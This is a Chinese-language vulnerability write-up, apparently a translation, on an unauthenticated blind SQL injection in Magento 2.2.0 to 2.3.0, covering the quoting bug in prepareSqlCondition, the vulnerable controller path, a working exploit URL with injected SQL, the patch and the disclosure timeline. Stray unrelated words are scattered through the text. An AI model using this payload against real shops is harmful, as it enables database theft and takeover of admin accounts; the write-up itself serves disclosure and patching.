Magento 2.2.0 <= 2.3.0 無需登陸下的SQLi

代碼審覈

Magento擁有龐大的代碼庫 - 超過200萬行PHP。顯然,手動審覈其代碼必須是一項繁瑣的工做。儘管如此,Netanel Rubin發現的兩個優秀RCE漏洞給了咱們指導,由於它們針對兩件事:

    訪問檢查/路由
    API

這兩個載體極可能是清除漏洞,由於它們以前已通過審計。所以,我選擇了一些還沒有定位的東西:負責ORM和DB管理的代碼。
SQL注入
下沉

處理數據庫的主要類之一是Magento \ Framework \ DB \ Adapter \ Pdo \ Mysql。通過幾分鐘的審計,其中一個方法prepareSqlCondition出現了一個有趣的錯誤。

php

<?php
/****
 ** Build SQL statement for condition
 **
 ** If $condition integer or string - exact value will be filtered ('eq' condition)
 **
 ** If $condition is array is - one of the following structures is expected:
 ** - array("from" => $fromValue, "to" => $toValue)
 ** - array("eq" => $equalValue)
 ** - array("neq" => $notEqualValue)
 ** - array("like" => $likeValue)
 ** - array("in" => array($inValues))
 ** - array("nin" => array($notInValues))
 ** - array("notnull" => $valueIsNotNull)
 ** - array("null" => $valueIsNull)
 ** - array("gt" => $greaterValue)
 ** - array("lt" => $lessValue)
 ** - array("gteq" => $greaterOrEqualValue)
 ** - array("lteq" => $lessOrEqualValue)
 ** - array("finset" => $valueInSet)
 ** - array("regexp" => $regularExpression)
 ** - array("seq" => $stringValue)
 ** - array("sneq" => $stringValue)
 **
 ** If non matched - sequential array is expected and OR conditions
 ** will be built using above mentioned structure
 **
 ** ...
 **/
public function prepareSqlCondition($fieldName, $condition)
{
    $conditionKeyMap = [                                                    [1]
        'eq'            => "{{fieldName}} = ?",
        'neq'           => "{{fieldName}} != ?",
        'like'          => "{{fieldName}} LIKE ?",
        'nlike'         => "{{fieldName}} NOT LIKE ?",
        'in'            => "{{fieldName}} IN(?)",
        'nin'           => "{{fieldName}} NOT IN(?)",
        'is'            => "{{fieldName}} IS ?",
        'notnull'       => "{{fieldName}} IS NOT NULL",
        'null'          => "{{fieldName}} IS NULL",
        'gt'            => "{{fieldName}} > ?",
        'lt'            => "{{fieldName}} < ?",
        'gteq'          => "{{fieldName}} >= ?",
        'lteq'          => "{{fieldName}} <= ?",
        'finset'        => "FIND_IN_SET(?, {{fieldName}})",
        'regexp'        => "{{fieldName}} REGEXP ?",
        'from'          => "{{fieldName}} >= ?",
        'to'            => "{{fieldName}} <= ?",
        'seq'           => null,
        'sneq'          => null,
        'ntoa'          => "INET_NTOA({{fieldName}}) LIKE ?",
    ];

    $query = '';
    if (is_array($condition)) {
        $key = key(array_intersect_key($condition, $conditionKeyMap));

        if (isset($condition['from']) || isset($condition['to'])) {         [2]
            if (isset($condition['from'])) {                                [3]
                $from  = $this->_prepareSqlDateCondition($condition, 'from');
                $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
            }

            if (isset($condition['to'])) {                                  [4]
                $query .= empty($query) ? '' : ' AND ';
                $to     = $this->_prepareSqlDateCondition($condition, 'to');
                $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
            }
        } elseif (array_key_exists($key, $conditionKeyMap)) {
            $value = $condition[$key];
            if (($key == 'seq') || ($key == 'sneq')) {
                $key = $this->_transformStringSqlCondition($key, $value);
            }
            if (($key == 'in' || $key == 'nin') && is_string($value)) {
                $value = explode(',', $value);
            }
            $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
        } else {
            $queries = [];
            foreach ($condition as $orCondition) {
                $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
            }

            $query = sprintf('(%s)', implode(' OR ', $queries));
        }
    } else {
        $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
    }

    return $query;
}

protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
{
    $sql = $this->quoteInto($text, $value);
    $sql = str_replace('{{fieldName}}', $fieldName, $sql);
    return $sql;
}

總的來講,該函數根據SQL字段名稱和表示運算符(=,!=,>等)和值的數組構建SQL條件。 爲此,它使用$ conditionKeyMap [1]將給定條件別名映射到模式,並替換每一個? 使用_prepareQuotedSqlCondition()[3]經過給定值的引用版本在別名中的字符。 例如:web

 

 

<?php
   $db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";

然而,當結合使用from和to條件時會出現問題[2],一般是爲了確保字段包含在一個範圍內。 例如:sql

<?php
$db->prepareSqlCondition('price', [
    'from' => '100'
    'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";

當存在兩個條件(from和to)時,代碼首先處理from部分[3],而後處理另外一個[4],可是此時發生了一個關鍵錯誤[5]:爲from生成的查詢是 重複用於格式化。

結果,由於每個? 由給定值替換,若是from的值中存在問號,則將替換爲to的值的引用版本。 這是一種打破SQL查詢並所以引起SQL注入的方法:
數據庫

<?php
$db->prepareSqlCondition('price', [
    'from' => 'some?value'
    'to' => 'BROKEN'
]);
# FROM
   $query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price')
-> $query = "price >= 'some?value'"
# TO
   $query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price')
-> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price')
-> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"

第一次出現BROKEN是引用以外的。 爲了執行有效的SQL注入,咱們能夠這樣作:json

<?php

$db->prepareSqlCondition('price', [
    'from' => 'x?'
    'to' => ' OR 1=1 -- -'
]);
-> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"

爲了不這個bug,這一行:後端

$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);

應該是數組

$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

 

這個錯誤雖然很小,可是很是有影響力:若是咱們能夠徹底控制第二個參數來準備SQLCondition,那麼咱們就會有一個SQL注入。 使人驚訝的是,自Magento 1.x以來,這段代碼已經存在!
資源

如前所述,Magento中有許多代碼行,找到一種方法來解決這個問題很累人。 在用完智能方法以後,我選擇逐個檢查每一個控制器,直到找到源。 幸運的是,在不到十幾我的以後,找到了候選人:Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize。
服務器

 

<?php

public function execute()
{
    $resultJson = $this->jsonFactory->create();

    try {
        $productsData = $this->getRequest()->getParam('ids', []);
        $typeId = $this->getRequest()->getParam('type_id', null);
        $this->synchronizer->syncActions($productsData, $typeId);
    } catch (\Exception $e) {
        $resultJson->setStatusHeader(
            \Zend\Http\Response::STATUS_CODE_400,
            \Zend\Http\AbstractMessage::VERSION_11,
            'Bad Request'
        );
    }

    return $resultJson->setData([]);
}

這是最終致使錯誤的調用堆棧less

<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);

此代碼路徑僅在Magento 2.2.0以後出現。

這是一個致使未經身份驗證的盲SQL注入的URL:
frontend

 

https://magento2website.com/catalog/product_frontend_action/synchronize?
    type_id=recently_products&
    ids[0][added_at]=&
    ids[0][product_id][from]=?&
    ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

如今能夠從數據庫中讀取任何內容,咱們能夠提取管理會話或密碼哈希並使用它們來訪問後端。
修補

SQL注入的補丁是微不足道的:

File: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php Line: 2907

- $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
+ $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);


Magento發佈了2.3.1版本,以及2.2.x,2.1.x和1.1的修補版本。 修補你的服務器!
時間線

     2018年11月9日:經過Bugcrowd報告錯誤
     2018年11月26日:錯誤標記爲P1
     2019年3月19日:咱們要求更新(4個月!)
     2019年3月19日:Magento以賞金獎勵咱們,並通知咱們正在進行更新
     2019年3月26日:Magento發佈了一個新版本,修補了這些錯誤

相關文章
相關標籤/搜索